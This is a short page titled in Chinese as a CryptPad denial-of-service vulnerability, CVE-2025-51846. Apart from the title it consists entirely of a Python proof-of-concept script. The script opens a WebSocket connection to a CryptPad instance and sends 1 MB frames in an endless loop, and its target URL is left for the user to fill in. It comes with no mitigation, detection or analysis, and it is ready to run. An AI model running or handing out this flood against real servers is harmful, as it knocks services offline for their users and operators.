CVE-2025-51846 CryptPad拒绝服务漏洞

import asyncio import websockets async def cve_2025_51846_poc(target_url): """ PoC for CVE-2025-51846: Unbounded WebSocket Frame Flood This script attempts to flood a CryptPad instance with large WebSocket frames. """ try: # Connect to the WebSocket endpoint async with websockets.connect(target_url) as websocket: # Define a large payload to simulate the flood # Sending 1MB chunks repeatedly payload = "A" * (1024 * 1024) print(f"Connected to {target_url}. Starting flood...") while True: await websocket.send(payload) print("Sent large frame payload") # Optional: small delay to allow network processing if testing locally # await asyncio.sleep(0.01) except Exception as e: print(f"Connection error or server crashed: {e}") if __name__ == "__main__": # Replace with actual target WebSocket URL target = "ws://<target-host>/cryptpad_websocket" asyncio.run(cve_2025_51846_poc(target))